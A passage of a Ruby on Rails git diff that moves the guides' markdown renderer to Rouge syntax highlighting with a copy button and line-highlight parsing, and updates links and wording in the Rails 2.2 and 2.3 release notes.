+          %(<h#{header_level} id="#{header_with_id[0][1].strip}">#{header_with_id[0][0].strip}</h#{header_level}>)
+        else
+          %(<h#{header_level}>#{text}</h#{header_level}>)
+        end
+      end
+
+      def paragraph(text)
+        if text =~ %r{^NOTE:\s+Defined\s+in\s+<code>(.*?)</code>\.?$}
+          %(<div class="note"><p>Defined in <code><a href="#{github_file_url($1)}">#{$1}</a></code>.</p></div>)
+        elsif /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/.match?(text)
+          convert_notes(text)
+        elsif text.include?("DO NOT READ THIS FILE ON GITHUB")
+        elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/
+          linkback = %(<a href="#footnote-#{$1}-ref"><sup>#{$1}</sup></a>)
+          %(<p class="footnote" id="footnote-#{$1}">#{linkback} #{$2}</p>)
+        else
+          text = convert_footnotes(text)
+          "<p>#{text}</p>"
+        end
+      end
+
+      private
+        def convert_footnotes(text)
+          text.gsub(/\[<sup>(\d+)\]<\/sup>/i) do
+            %(<sup class="footnote" id="footnote-#{$1}-ref">) +
+              %(<a href="#footnote-#{$1}">#{$1}</a></sup>)
+          end
+        end
+
+        def convert_notes(body)
+          # The following regexp detects special labels followed by a
+          # paragraph, perhaps at the end of the document.
+          #
+          # It is important that we do not eat more than one newline
+          # because formatting may be wrong otherwise. For example,
+          # if a bulleted list follows, the first item is not rendered
+          # as a list item, but as a paragraph starting with a plain
+          # asterisk.
+          body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do
+            css_class = \
+              case $1
+              when "CAUTION", "IMPORTANT"
+                "warning"
+              when "TIP"
+                "info"
+              else
+                $1.downcase
+              end
+            %(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
+          end
+        end
+
+        def github_file_url(file_path)
+          tree = version || edge
+
+          root = file_path[%r{(\w+)/}, 1]
+          path = \
+            case root
+            when "abstract_controller", "action_controller", "action_dispatch"
+              "actionpack/lib/#{file_path}"
+            when /\A(action|active)_/
+              "#{root.sub("_", "")}/lib/#{file_path}"
+            else
+              file_path
+            end
+
+          "https://github.com/rails/rails/tree/#{tree}/#{path}"
+        end
+
+        def api_link(url)
+          if %r{https?://api\.rubyonrails\.org/v\d+\.}.match?(url)
+            url
+          elsif edge
+            url.sub("api", "edgeapi")
+          else
+            url.sub(/(?<=\.org)/, "/#{version}")
+          end
+        end
+    end
+  end
+end
diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb
index 20cbd568c9e7a..512df2c75e8ac 100644
--- a/guides/rails_guides/markdown/renderer.rb
+++ b/guides/rails_guides/markdown/renderer.rb
@@ -1,20 +1,49 @@
+# frozen_string_literal: true
+
+require "rouge"
+
+# Add more common shell commands
+Rouge::Lexers::Shell::BUILTINS << "|bin/rails|brew|bundle|gem|git|node|rails|rake|ruby|sqlite3|yarn"
+
+# Register an IRB lexer for Rails 7.2+ console prompts like "store(dev)>"
+class Rouge::Lexers::GuidesIRBLexer < Rouge::Lexers::IRBLexer
+  tag "irb"
+
+  def prompt_regex
+    %r(
+      ^.*?
+      (
+        (irb|pry|\w+\(\w+\)).*?[>"*] |
+        [>"*]>
+      )
+    )x
+  end
+end
+
 module RailsGuides
   class Markdown
-    class Renderer < Redcarpet::Render::HTML
+    class Renderer < Redcarpet::Render::HTML  # :nodoc:
+      APPLICATION_FILEPATH_REGEXP = /(app|config|db|lib|test)\//
+      ERB_FILEPATH_REGEXP = /^<%# #{APPLICATION_FILEPATH_REGEXP}.* %>/o
+      RUBY_FILEPATH_REGEXP = /^# #{APPLICATION_FILEPATH_REGEXP}/o
+
       cattr_accessor :edge, :version
 
       def block_code(code, language)
-        <<-HTML
-<div class="code_container">
-<pre class="brush: #{brush_for(language)}; gutter: false; toolbar: false">
-#{ERB::Util.h(code)}
-</pre>
-</div>
-HTML
+        language, lines = split_language_highlights(language)
+        formatter = Rouge::Formatters::HTMLLineHighlighter.new(Rouge::Formatters::HTML.new, highlight_lines: lines)
+        lexer = ::Rouge::Lexer.find_fancy(lexer_language_with_options(language))
+        formatted_code = formatter.format(lexer.lex(code))
+        <<~HTML
+          <div class="interstitial code">
+          <pre><code class="highlight #{lexer_language(language)}">#{formatted_code}</code></pre>
+          <button class="clipboard-button" data-clipboard-text="#{clipboard_content(code, language)}">Copy</button>
+          </div>
+        HTML
       end
 
       def link(url, title, content)
-        if url.start_with?("http://api.rubyonrails.org")
+        if %r{https?://api\.rubyonrails\.org}.match?(url)
           %(<a href="#{api_link(url)}">#{content}</a>)
         elsif title
           %(<a href="#{url}" title="#{title}">#{content}</a>)
@@ -24,16 +53,18 @@ def link(url, title, content)
       end
 
       def header(text, header_level)
-        # Always increase the heading level by 1, so we can use h1, h2 heading in the document
-        header_level += 1
-
-        %(<h#{header_level}>#{text}</h#{header_level}>)
+        header_with_id = text.scan(/(.*){#(.*)}/)
+        unless header_with_id.empty?
+          %(<h#{header_level} id="#{header_with_id[0][1].strip}">#{header_with_id[0][0].strip}</h#{header_level}>)
+        else
+          %(<h#{header_level}>#{text}</h#{header_level}>)
+        end
       end
 
       def paragraph(text)
         if text =~ %r{^NOTE:\s+Defined\s+in\s+<code>(.*?)</code>\.?$}
           %(<div class="note"><p>Defined in <code><a href="#{github_file_url($1)}">#{$1}</a></code>.</p></div>)
-        elsif text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/
+        elsif /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/.match?(text)
           convert_notes(text)
         elsif text.include?("DO NOT READ THIS FILE ON GITHUB")
         elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/
@@ -46,7 +77,6 @@ def paragraph(text)
       end
 
       private
-
         def convert_footnotes(text)
           text.gsub(/\[<sup>(\d+)\]<\/sup>/i) do
             %(<sup class="footnote" id="footnote-#{$1}-ref">) +
@@ -54,26 +84,66 @@ def convert_footnotes(text)
           end
         end
 
-        def brush_for(code_type)
+        def lexer_language(code_type)
           case code_type
-          when "ruby", "sql", "plain"
-            code_type
-          when "erb", "html+erb"
-            "ruby; html-script: true"
-          when "html"
-            "xml" # HTML is understood, but there are .xml rules in the CSS
+          when "html+erb"
+            "erb"
+          when "bash"
+            "console"
+          when nil
+            "plaintext"
+          else
+            ::Rouge::Lexer.find(code_type) ? code_type : "plaintext"
+          end
+        end
+
+        def lexer_language_with_options(code_type)
+          language = lexer_language(code_type)
+          case language
+          when "console"
+            "#{language}?comments=true"
           else
-            "plain"
+            language
           end
         end
 
+        def clipboard_content(code, language)
+          # Remove prompt and results of commands.
+          prompt_regexp =
+            case language
+            when "bash"
+              /^\$ /
+            when "irb"
+              /^(irb.*?|\w+\(\w+\))> /
+            end
+
+          if prompt_regexp
+            code = code.lines.grep(prompt_regexp).join.gsub(prompt_regexp, "")
+          end
+
+          # Remove comments that reference an application file.
+          filepath_regexp =
+            case language
+            when "erb", "html+erb"
+              ERB_FILEPATH_REGEXP
+            when "ruby", "yaml", "yml"
+              RUBY_FILEPATH_REGEXP
+            end
+
+          if filepath_regexp
+            code = code.lines.grep_v(filepath_regexp).join
+          end
+
+          ERB::Util.html_escape(code)
+        end
+
         def convert_notes(body)
           # The following regexp detects special labels followed by a
           # paragraph, perhaps at the end of the document.
           #
           # It is important that we do not eat more than one newline
           # because formatting may be wrong otherwise. For example,
-          # if a bulleted list follows the first item is not rendered
+          # if a bulleted list follows, the first item is not rendered
           # as a list item, but as a paragraph starting with a plain
           # asterisk.
           body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do
@@ -86,29 +156,29 @@ def convert_notes(body)
               else
                 $1.downcase
               end
-            %(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
+            %(<div class="interstitial #{css_class}"><p>#{$2.strip}</p></div>)
           end
         end
 
         def github_file_url(file_path)
           tree = version || edge
 
-          root = file_path[%r{(.+)/}, 1]
-          path = case root
-                 when "abstract_controller", "action_controller", "action_dispatch"
-                   "actionpack/lib/#{file_path}"
-                 when /\A(action|active)_/
-                   "#{root.sub("_", "")}/lib/#{file_path}"
-                 else
-                   file_path
-                 end
-
+          root = file_path[%r{(\w+)/}, 1]
+          path = \
+            case root
+            when "abstract_controller", "action_controller", "action_dispatch"
+              "actionpack/lib/#{file_path}"
+            when /\A(action|active)_/
+              "#{root.sub("_", "")}/lib/#{file_path}"
+            else
+              file_path
+            end
 
           "https://github.com/rails/rails/tree/#{tree}/#{path}"
         end
 
         def api_link(url)
-          if url =~ %r{http://api\.rubyonrails\.org/v\d+\.}
+          if %r{https?://api\.rubyonrails\.org/v\d+\.}.match?(url)
             url
           elsif edge
             url.sub("api", "edgeapi")
@@ -116,6 +186,21 @@ def api_link(url)
             url.sub(/(?<=\.org)/, "/#{version}")
           end
         end
+
+        # Parses "ruby#3,5-6,10" into ["ruby", [3,5,6,10]] for highlighting line numbers in code blocks
+        def split_language_highlights(language)
+          return [nil, []] unless language
+
+          language, lines = language.split("#", 2)
+          lines = lines.to_s.split(",").flat_map { parse_range(_1) }
+
+          [language, lines]
+        end
+
+        def parse_range(range)
+          first, last = range.split("-", 2).map(&:to_i)
+          Range.new(first, last || first).to_a
+        end
     end
   end
 end
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
index ac5833e069e09..0a7c8a220f2b2 100644
--- a/guides/source/2_2_release_notes.md
+++ b/guides/source/2_2_release_notes.md
@@ -1,11 +1,11 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 2.2 Release Notes
 ===============================
 
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub.
+Rails 2.2 delivers several new and improved features. This list covers the major upgrades but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub.
 
-Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
+Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](https://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
 
 --------------------------------------------------------------------------------
 
@@ -31,7 +31,7 @@ Along with thread safety, a lot of work has been done to make Rails work well wi
 Documentation
 -------------
 
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](https://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
 
 * [Getting Started with Rails](getting_started.html)
 * [Rails Database Migrations](active_record_migrations.html)
@@ -51,22 +51,21 @@ All told, the Guides provide tens of thousands of words of guidance for beginnin
 
 If you want to generate these guides locally, inside your application:
 
-```
-rake doc:guides
+```bash
+$ rake doc:guides
 ```
 
-This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser.
+This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favorite browser.
 
-* Lead Contributors: [Rails Documentation Team](credits.html)
 * Major contributions from [Xavier Noria](http://advogato.org/person/fxn/diary.html) and [Hongli Lai](http://izumi.plan99.net/blog/).
 * More information:
     * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide)
-    * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
+    * [Help improve Rails documentation on Git branch](https://rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
 
 Better integration with HTTP : Out of the box ETag support
 ----------------------------------------------------------
 
-Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+Supporting the ETag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
 
 ```ruby
 class ArticlesController < ApplicationController
@@ -78,7 +77,7 @@ class ArticlesController < ApplicationController
     # to the stale? call is set on the response).
     #
     # If the request headers match, then the request is fresh and the respond_to block is
-    # not triggered. Instead the default render will occur, which will check the last-modified
+    # not triggered. Instead, the default render will occur, which will check the last-modified
     # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
     # of rendering the template.
     if stale?(:last_modified => @article.published_at.utc, :etag => @article)
@@ -113,7 +112,7 @@ config.threadsafe!
 
 * More information :
     * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails)
-    * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
+    * [Thread safety project announcement](https://rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
     * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html)
 
 Active Record
@@ -125,7 +124,7 @@ There are two big additions to talk about here: transactional migrations and poo
 
 Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
 
-* Lead Contributor: [Adam Wiggins](http://adam.heroku.com/)
+* Lead Contributor: [Adam Wiggins](http://about.adamwiggins.com/)
 * More information:
     * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/)
     * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/)
@@ -268,7 +267,7 @@ map.resources :products, :except => :destroy
 * Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
 * Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
 * `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).
-* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type.
+* `render` now supports a `:js` option to render plain vanilla JavaScript with the right MIME type.
 * Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
 * Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`.
 
@@ -391,7 +390,7 @@ You can unpack or install a single gem by specifying `GEM=_gem_name_` on the com
 * Lead Contributor: [Matt Jones](https://github.com/al2o3cr)
 * More information:
     * [What's New in Edge Rails: Gem Dependencies](http://archives.ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies)
-    * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/)
+    * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](https://afreshcup.com/home/2008/10/25/rails-212-and-22rc1-update-your-rubygems)
     * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128)
 
 ### Other Railties Changes
diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md
index 6976848e95077..7c2668d764fd0 100644
--- a/guides/source/2_3_release_notes.md
+++ b/guides/source/2_3_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 2.3 Release Notes
 ===============================
@@ -10,11 +10,11 @@ Rails 2.3 delivers a variety of new and improved features, including pervasive R
 Application Architecture
 ------------------------
 
-There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.github.io/) modular web server interface, and renewed support for Rails Engines.
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](https://rack.github.io/) modular web server interface, and renewed support for Rails Engines.
 
 ### Rack Integration
 
-Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
+Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface). Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
 
 * Sessions
 * Cookies
@@ -52,9 +52,9 @@ After some versions without an upgrade, Rails 2.3 offers some new features for R
 Documentation
 -------------
 
-The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
+The [Ruby on Rails guides](https://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](https://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
 
-* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects)
+* More Information: [Rails Documentation Projects](https://rubyonrails.org/2009/1/15/rails-documentation-projects)
 
 Ruby 1.9.1 Support
 ------------------
@@ -89,7 +89,7 @@ accepts_nested_attributes_for :author,
 ```
 
 * Lead Contributor: [Eloy Duran](http://superalloy.nl/)
-* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+* More Information: [Nested Model Forms](https://rubyonrails.org/2009/1/26/nested-model-forms)
 
 ### Nested Transactions
 
@@ -185,7 +185,7 @@ developers = Developer.find(:all, :group => "salary",
 
 MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change.
 
-* Lead Contributor: [Dov Murik](http://twitter.com/dubek)
+* Lead Contributor: [Dov Murik](http://x.com/dubek)
 * More information:
     * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.6/en/auto-reconnect.html)
     * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4)
@@ -227,14 +227,15 @@ render 'other_controller/action'
 render 'show'
 render :show
 ```
+
 Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option.
 
 ### Application Controller Renamed
 
-If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.
+If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be `application_controller.rb` in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.
 
 * More Information:
-    * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/)
+    * [The Death of Application.rb](https://afreshcup.com/home/2008/11/17/rails-2x-the-death-of-applicationrb)
     * [What's New in Edge Rails: Application.rb Duality is no More](http://archives.ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more)
 
 ### HTTP Digest Authentication Support
@@ -265,7 +266,7 @@ end
 
 ### More Efficient Routing
 
-There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
+There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time - without clearing the currently loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
 
 * Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/)
 
@@ -304,7 +305,7 @@ Rails now keeps a per-request local cache of read from the remote cache stores,
 
 Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project.
 
-In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example.
+In addition, you can use the same scheme to localize the rescue files in the public directory: `public/500.da.html` or `public/404.en.html` work, for example.
 
 ### Partial Scoping for Translations
 
@@ -364,7 +365,7 @@ You can write this view in Rails 2.3:
       <% unless order_form.object.new_record? %>
         <div>
           <%= order_form.label :_delete, 'Remove:' %>
-          <%= order_form.check_box :_delete %>
+          <%= order_form.checkbox :_delete %>
         </div>
       <% end %>
     </p>
@@ -376,7 +377,7 @@ You can write this view in Rails 2.3:
 
 * Lead Contributor: [Eloy Duran](http://superalloy.nl/)
 * More Information:
-    * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+    * [Nested Model Forms](https://rubyonrails.org/2009/1/26/nested-model-forms)
     * [complex-form-examples](https://github.com/alloy/complex-form-examples)
     * [What's New in Edge Rails: Nested Object Forms](http://archives.ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes)
 
@@ -415,7 +416,7 @@ select_datetime(DateTime.now, :prompt =>
 
 ### AssetTag Timestamp Caching
 
-You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster". This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
 
 ### Asset Hosts as Objects
 
@@ -434,7 +435,7 @@ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
 
 returns
 
-```ruby
+```html
 <option value="">Choose a product...</option>
 <optgroup label="Hats">
   <option value="Baseball Cap">Baseball Cap</option>
@@ -468,7 +469,7 @@ options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lamb
 ```
 
 * Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/)
-* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/)
+* More Information: [New in Rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](https://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections)
 
 ### A Note About Template Loading
 
@@ -502,7 +503,7 @@ A lot of folks have adopted the notion of using try() to attempt operations on o
 
 ### Object#tap Backport
 
-`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+`Object#tap` is an addition to [Ruby 1.9](https://docs.ruby-lang.org/en/master/Kernel.html#method-i-tap) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
 
 ### Swappable Parsers for XMLmini
 
@@ -520,8 +521,7 @@ XmlMini.backend = 'LibXML'
 The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does:
 
 ```ruby
->> Time.zone.now.xmlschema(6)
-=> "2009-01-16T13:00:06.13653Z"
+Time.zone.now.xmlschema(6) # => "2009-01-16T13:00:06.13653Z"
 ```
 
 * Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty)
@@ -533,7 +533,7 @@ If you look up the spec on the "json.org" site, you'll discover that all keys in
 ### Other Active Support Changes
 
 * You can use `Enumerable#none?` to check that none of the elements match the supplied block.
-* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
+* If you're using Active Support [delegates](https://afreshcup.com/home/2008/10/19/coming-in-rails-22-delegate-prefixes) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
 * `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
 * `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
 * Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
@@ -552,7 +552,7 @@ In addition to the Rack changes covered above, Railties (the core code of Rails
 Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
 
 * More Information:
-    * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal)
+    * [Introducing Rails Metal](https://rubyonrails.org/2008/12/17/introducing-rails-metal)
     * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m)
     * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html)
     * [What's New in Edge Rails: Rails Metal](http://archives.ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal)
@@ -561,8 +561,8 @@ Rails Metal is a new mechanism that provides superfast endpoints inside of your
 
 Rails 2.3 incorporates Jeremy McAnally's [rg](https://github.com/jm/rg) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application:
 
-```
-rake rails:template LOCATION=~/template.rb
+```bash
+$ rake rails:template LOCATION=~/template.rb
 ```
 
 This will layer the changes from the template on top of whatever code the project already contains.
@@ -576,7 +576,7 @@ Building on thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietba
 
 ### Faster Boot Time in Development Mode with Lazy Loading/Autoload
 
-Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer, and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
 
 You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
 
@@ -592,7 +592,7 @@ The internals of the various <code>rake gem</code> tasks have been substantially
 * Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
 * The default `environment.rb` file has been decluttered.
 * The dbconsole script now lets you use an all-numeric password without crashing.
